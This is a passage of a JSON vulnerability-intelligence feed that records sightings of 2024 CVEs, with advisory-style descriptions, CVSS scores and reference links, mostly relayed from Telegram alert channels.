Ventura 13.6.8. An app may be able to overwrite arbitrary files.\n\ud83d\udccf Published: 2024-07-29T22:16:41.217Z\n\ud83d\udccf Modified: 2025-03-25T16:10:43.614Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214120\n2. https://support.apple.com/en-us/HT214119\n3. https://support.apple.com/en-us/HT214118\n4. http://seclists.org/fulldisclosure/2024/Jul/20\n5. http://seclists.org/fulldisclosure/2024/Jul/18\n6. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-25T16:25:06.000000Z"}, {"uuid": "bf242422-d840-482b-acb0-0453f4e07d0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40598", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8700", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40598\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in the CheckUser extension for MediaWiki through 1.42.1. The API can expose suppressed information for log events. (The log_deleted attribute is not applied to entries.)\n\ud83d\udccf Published: 2024-07-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T16:10:43.828Z\n\ud83d\udd17 References:\n1. https://phabricator.wikimedia.org/T326867", "creation_timestamp": "2025-03-25T16:25:05.000000Z"}, {"uuid": "3c667c9e-174d-4cf7-8895-78e6bd54840d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40859", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8706", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40859\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15. An app may be able to access user-sensitive data.\n\ud83d\udccf Published: 2024-09-16T23:23:01.051Z\n\ud83d\udccf Modified: 2025-03-25T16:10:42.966Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121238", "creation_timestamp": "2025-03-25T16:25:14.000000Z"}, {"uuid": "f0f11d10-5137-4323-ae16-51504599471c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40847", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8710", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40847\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with additional code-signing restrictions. This issue is fixed in macOS Ventura 13.7, macOS Sonoma 14.7, macOS Sequoia 15. An app may be able to access sensitive user data.\n\ud83d\udccf Published: 2024-09-16T23:22:16.278Z\n\ud83d\udccf Modified: 2025-03-25T16:10:42.517Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121234\n2. https://support.apple.com/en-us/121238\n3. https://support.apple.com/en-us/121247", "creation_timestamp": "2025-03-25T16:25:17.000000Z"}, {"uuid": "3440e89b-7c7b-49c5-a5d6-b2a87b31416a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40629", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8766", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40629\n\ud83d\udd25 CVSS Score: 10 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: JumpServer is an open-source Privileged Access Management (PAM) tool that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser. An attacker can exploit the Ansible playbook to write arbitrary files, leading to remote code execution (RCE) in the Celery container. The Celery container runs as root and has database access, allowing an attacker to steal all secrets for hosts, create a new JumpServer account with admin privileges, or manipulate the database in other ways. This issue has been patched in release versions 3.10.12 and 4.0.0. It is recommended to upgrade the safe versions. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2024-07-18T17:04:10.251Z\n\ud83d\udccf Modified: 2025-03-25T19:59:14.014Z\n\ud83d\udd17 References:\n1. https://github.com/jumpserver/jumpserver/security/advisories/GHSA-3wgp-q8m7-v33v\n2. https://www.sonarsource.com/blog/diving-into-jumpserver-attackers-gateway-to-internal-networks-2-2", "creation_timestamp": "2025-03-25T20:24:36.000000Z"}, {"uuid": "b4c2e415-910e-4c34-9537-922e83f67f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40803", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8879", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40803\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A type confusion issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. An attacker may be able to cause unexpected app termination.\n\ud83d\udccf Published: 2024-07-29T22:17:05.216Z\n\ud83d\udccf Modified: 2025-03-26T16:19:59.170Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214120\n2. https://support.apple.com/en-us/HT214119\n3. https://support.apple.com/en-us/HT214118\n4. http://seclists.org/fulldisclosure/2024/Jul/20\n5. http://seclists.org/fulldisclosure/2024/Jul/18\n6. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-26T16:25:09.000000Z"}, {"uuid": "3324aa3d-5eb2-4214-8f44-484a15ea1724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4079", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14232", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4079\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: An out of bounds read due to a missing bounds check in LabVIEW may disclose information or result in arbitrary code execution.  Successful exploitation requires an attacker to provide a user with a specially crafted VI.  This vulnerability affects LabVIEW 2024 Q1 and prior versions.\n\ud83d\udccf Published: 2024-07-23T13:19:35.141Z\n\ud83d\udccf Modified: 2025-05-01T03:55:26.917Z\n\ud83d\udd17 References:\n1. https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/out-of-bounds-read-due-to-missing-bounds-check-in-labview.html", "creation_timestamp": "2025-05-01T04:14:56.000000Z"}, {"uuid": "ed5b2cee-bb17-47ac-8121-bf893aad328d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4080", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14231", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4080\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A memory corruption issue due to an improper length check in LabVIEW tdcore.dll may disclose information or result in arbitrary code execution.  Successful exploitation requires an attacker to provide a user with a specially crafted VI.  This vulnerability affects LabVIEW 2024 Q1 and prior versions.\n\ud83d\udccf Published: 2024-07-23T13:29:55.012Z\n\ud83d\udccf Modified: 2025-05-01T03:55:27.216Z\n\ud83d\udd17 References:\n1. https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/memory-corruption-issues-due-to-improper-length-checks-in-labview.html", "creation_timestamp": "2025-05-01T04:14:55.000000Z"}, {"uuid": "0f4dcd71-be51-4e7c-a596-fae05fb73504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4061", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9497", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4061\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Survey Maker  WordPress plugin before 4.2.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\ud83d\udccf Published: 2024-05-21T06:00:02.007Z\n\ud83d\udccf Modified: 2025-03-28T23:17:49.657Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/175a9f3a-1f8d-44d1-8a12-e037251b025d/", "creation_timestamp": "2025-03-28T23:29:15.000000Z"}, {"uuid": "82f69c79-a0a8-410f-a4eb-1f26318a766c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40864", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9795", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40864\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with improved handling of protocols. This issue is fixed in macOS Ventura 13.7.5, macOS Sonoma 14.7.5. An attacker in a privileged network position can track a user's activity.\n\ud83d\udccf Published: 2025-03-31T22:24:22.413Z\n\ud83d\udccf Modified: 2025-03-31T22:24:22.413Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/122374\n2. https://support.apple.com/en-us/122375", "creation_timestamp": "2025-03-31T23:31:32.000000Z"}, {"uuid": "89f157cb-687e-46f3-8af3-1267054d67b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4028", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10678", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4028\n\ud83d\udd25 CVSS Score: 3.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability was found in Keycloak. This issue may allow a privileged attacker to use a malicious payload as the permission while creating items (Resource and Permissions) from the admin console, leading to a stored cross-site scripting (XSS) attack.\n\ud83d\udccf Published: 2025-02-18T17:54:08.752Z\n\ud83d\udccf Modified: 2025-04-07T07:34:38.320Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-4028\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2276418", "creation_timestamp": "2025-04-07T07:46:29.000000Z"}, {"uuid": "11f63a93-2807-4403-9a8f-984b92bec60d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40074", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12422", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40074\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Sourcecodester Online ID Generator System 1.0 was discovered to contain Stored Cross Site Scripting (XSS) via id_generator/classes/SystemSettings.php?f=update_settings, and the point of vulnerability is in the POST parameter 'short_name'.\n\ud83d\udccf Published: 2025-04-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-18T12:02:49.516Z\n\ud83d\udd17 References:\n1. https://github.com/DiliLearngent/BugReport/blob/main/php/Online-ID-Generator-System/bug1-XSS-short_name.md", "creation_timestamp": "2025-04-18T12:58:25.000000Z"}, {"uuid": "b218298b-fac9-43d1-99cc-a1037ead0a37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40069", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12352", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40069\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Sourcecodester Online ID Generator System 1.0 was discovered to contain Stored Cross Site Scripting (XSS) via id_generator/classes/Users.php?f=save, and the point of vulnerability is in the POST parameter 'firstname' and 'lastname'.\n\ud83d\udccf Published: 2025-04-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-17T20:26:48.212Z\n\ud83d\udd17 References:\n1. https://github.com/DiliLearngent/BugReport/blob/main/php/Online-ID-Generator-System/bug7-XSS-firstname-lastname.md", "creation_timestamp": "2025-04-17T20:58:21.000000Z"}, {"uuid": "67919b0d-2917-4f82-97ac-6c3521295a2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "22933d3e-8f44-46bf-a7f8-28925422bbbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40446", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13055", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40446\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in forkosh Mime Tex before v.1.77 allows an attacker to execute arbitrary code via a crafted script\n\ud83d\udccf Published: 2025-04-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-23T14:51:22.252Z\n\ud83d\udd17 References:\n1. https://youtu.be/S3cmZkWIi6o\n2. https://github.com/TaiYou-TW/CVE-2024-40445_CVE-2024-40446/", "creation_timestamp": "2025-04-23T15:04:44.000000Z"}, {"uuid": "585e5c01-a565-4c00-afbb-73e407610e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40445", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13055", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40446\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in forkosh Mime Tex before v.1.77 allows an attacker to execute arbitrary code via a crafted script\n\ud83d\udccf Published: 2025-04-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-23T14:51:22.252Z\n\ud83d\udd17 References:\n1. https://youtu.be/S3cmZkWIi6o\n2. https://github.com/TaiYou-TW/CVE-2024-40445_CVE-2024-40446/", "creation_timestamp": "2025-04-23T15:04:44.000000Z"}, {"uuid": "0ed8a57b-fd75-4ffd-b4c4-fd90d2f9fcce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40635", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14813", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40635\n\ud83d\udd25 CVSS Score: 4.6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: containerd is an open-source container runtime. A bug was found in containerd prior to versions 1.6.38, 1.7.27, and 2.0.4 where containers launched with a User set as a `UID:GID` larger than the maximum 32-bit signed integer can cause an overflow condition where the container ultimately runs as root (UID 0). This could cause unexpected behavior for environments that require containers to run as a non-root user. This bug has been fixed in containerd 1.6.38, 1.7.27, and 2.04. As a workaround, ensure that only trusted images are used and that only trusted users have permissions to import images.\n\ud83d\udccf Published: 2025-03-17T21:32:37.894Z\n\ud83d\udccf Modified: 2025-05-04T22:02:39.748Z\n\ud83d\udd17 References:\n1. https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg\n2. https://github.com/containerd/containerd/commit/05044ec0a9a75232cad458027ca83437aae3f4da\n3. https://github.com/containerd/containerd/commit/1a43cb6a1035441f9aca8f5666a9b3ef9e70ab20\n4. https://github.com/containerd/containerd/commit/cf158e884cfe4812a6c371b59e4ea9bc4c46e51a", "creation_timestamp": "2025-05-04T22:18:50.000000Z"}, {"uuid": "317b3bdc-ecf5-4b5b-9dd5-ee5afc193dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4002", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16560", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4002\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Carousel, Slider, Gallery by WP Carousel  WordPress plugin before 2.6.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\ud83d\udccf Published: 2025-05-15T20:09:45.188Z\n\ud83d\udccf Modified: 2025-05-15T20:09:45.188Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/298b51ec-afad-4bc1-968d-76c59e55fc05/", "creation_timestamp": "2025-05-15T20:33:42.000000Z"}, {"uuid": "02f7283f-3ac2-4db9-9d8b-c0f404a72813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4004", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16559", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4004\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Advanced Cron Manager  WordPress plugin before 2.5.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\ud83d\udccf Published: 2025-05-15T20:09:45.426Z\n\ud83d\udccf Modified: 2025-05-15T20:09:45.426Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/8e5e7040-b824-4af7-90a1-90801d12abb6/", "creation_timestamp": "2025-05-15T20:33:41.000000Z"}, {"uuid": "b07b916d-7b15-4caf-a77a-009af32db21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4091", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16558", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4091\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Responsive Gallery Grid WordPress plugin before 2.3.15 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed\n\ud83d\udccf Published: 2025-05-15T20:09:45.628Z\n\ud83d\udccf Modified: 2025-05-15T20:09:45.628Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e28e79fa-f461-41fe-ad1c-ca768ea5f982/", "creation_timestamp": "2025-05-15T20:33:40.000000Z"}, {"uuid": "3b65fa31-ef1b-46c8-9f2e-7b85d54ba0d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40120", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16676", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40120\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: seaweedfs v3.68 was discovered to contain a SQL injection vulnerability via the component /abstract_sql/abstract_sql_store.go.\n\ud83d\udccf Published: 2025-05-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-16T12:18:09.695Z\n\ud83d\udd17 References:\n1. https://github.com/seaweedfs/seaweedfs/issues/5710\n2. https://gist.github.com/sud0why/1b2115c1d644bd3db1c1b3f16684a78c", "creation_timestamp": "2025-05-16T12:34:19.000000Z"}, {"uuid": "49aff0a6-06a8-4e62-abe4-41dc9f87ef5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40460", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17359", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40460\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Ocuco Innovation v.2.10.24.51 allows a local attacker to escalate privileges via the JOBENTRY.EXE\n\ud83d\udccf Published: 2025-05-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T19:05:21.251Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/10M4x2jL_l-kPSZOOE_tUmBzCTCr0tMiF/view?usp=drive_link\n2. https://gist.githubusercontent.com/john0x186/1d9cc7fcc8386480d2bdaa9fdcfa914b/raw/d2d3d74ccaa939127ee2b03139061509a7dd238c/full-disclosure.md", "creation_timestamp": "2025-05-22T19:46:19.000000Z"}, {"uuid": "944fe174-5194-4300-86e2-5e3a5dab601d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40459", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17358", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40459\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Ocuco Innovation APPMANAGER.EXE v.2.10.24.51 allows a local attacker to escalate privileges via the application manager function\n\ud83d\udccf Published: 2025-05-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T19:05:52.612Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1J2PsjRc6u2q4Teo3eVnBVmTEFjOgaPzX/view?usp=drive_link\n2. https://gist.githubusercontent.com/john0x186/1d9cc7fcc8386480d2bdaa9fdcfa914b/raw/d2d3d74ccaa939127ee2b03139061509a7dd238c/full-disclosure.md", "creation_timestamp": "2025-05-22T19:46:18.000000Z"}, {"uuid": "0e75b682-402f-4527-bc98-831fa9bdb152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40570", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18759", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40570\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SQL Injection vulnerability in SeaCMS v.12.9 allows a remote attacker to obtain sensitive information via the admin_datarelate.php component.\n\ud83d\udccf Published: 2025-06-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-18T14:10:12.915Z\n\ud83d\udd17 References:\n1. https://github.com/seacms-net/CMS/issues/20\n2. https://gist.github.com/Tddddddddd/14cec7e85025fd566f877604ba3d2220", "creation_timestamp": "2025-06-18T14:42:05.000000Z"}, {"uuid": "9df54dbd-b82e-4cdc-a482-9cf64182c272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4025", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19040", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4025\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A Denial of Service (DoS) condition has been discovered in GitLab CE/EE affecting all versions from 7.10 prior before 16.11.5, version 17.0 before 17.0.3, and 17.1 before 17.1.1. It is possible for an attacker to cause a denial of service using a crafted markdown page.\n\ud83d\udccf Published: 2025-06-20T18:14:33.011Z\n\ud83d\udccf Modified: 2025-06-20T18:14:33.011Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/457474\n2. https://hackerone.com/reports/2024974", "creation_timestamp": "2025-06-20T18:42:36.000000Z"}, {"uuid": "d88d56f8-dc20-453e-97f0-f5b8bb77f77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40917", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2126", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40917\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nmemblock: make memblock_set_node() also warn about use of MAX_NUMNODES\n\nOn an (old) x86 system with SRAT just covering space above 4Gb:\n\n    ACPI: SRAT: Node 0 PXM 0 [mem 0x100000000-0xfffffffff] hotplug\n\nthe commit referenced below leads to this NUMA configuration no longer\nbeing refused by a CONFIG_NUMA=y kernel (previously\n\n    NUMA: nodes only cover 6144MB of your 8185MB e820 RAM. Not used.\n    No NUMA configuration found\n    Faking a node at [mem 0x0000000000000000-0x000000027fffffff]\n\nwas seen in the log directly after the message quoted above), because of\nmemblock_validate_numa_coverage() checking for NUMA_NO_NODE (only). This\nin turn led to memblock_alloc_range_nid()'s warning about MAX_NUMNODES\ntriggering, followed by a NULL deref in memmap_init() when trying to\naccess node 64's (NODE_SHIFT=6) node data.\n\nTo compensate said change, make memblock_set_node() warn on and adjust\na passed in value of MAX_NUMNODES, just like various other functions\nalready do.\n\ud83d\udccf Published: 2024-07-12T12:25:00.175Z\n\ud83d\udccf Modified: 2025-01-17T13:26:57.833Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/4ddb7f966f3d06fcf1ba5ee298af6714b593584b\n2. https://git.kernel.org/stable/c/22f742b8f738918f683198a18ec3c691acda14c4\n3. https://git.kernel.org/stable/c/e0eec24e2e199873f43df99ec39773ad3af2bff7", "creation_timestamp": "2025-01-17T13:56:48.000000Z"}, {"uuid": "147535bc-c9a3-4993-ac24-8227cee50453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/CyberBulletin/2197", "content": "\u26a1Zyxel CPE Devices Face Active Exploitation Due to Unpatched CVE-2024-40891 Vulnerability.\n\n#CyberBulletin", "creation_timestamp": "2025-01-29T10:46:16.000000Z"}, {"uuid": "fceae00a-eae1-4aee-93ac-9c92cc36e5c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40453", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/43786", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-40453 - Squirrelly v9.0.0 RCE. Poc\nURL\uff1ahttps://github.com/BwithE/CVE-2024-40453\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-07-12T13:11:18.000000Z"}, {"uuid": "42093c1c-f2b1-4fc3-8506-b45de7f71f3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/true_secator/7438", "content": "WatchGuard \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 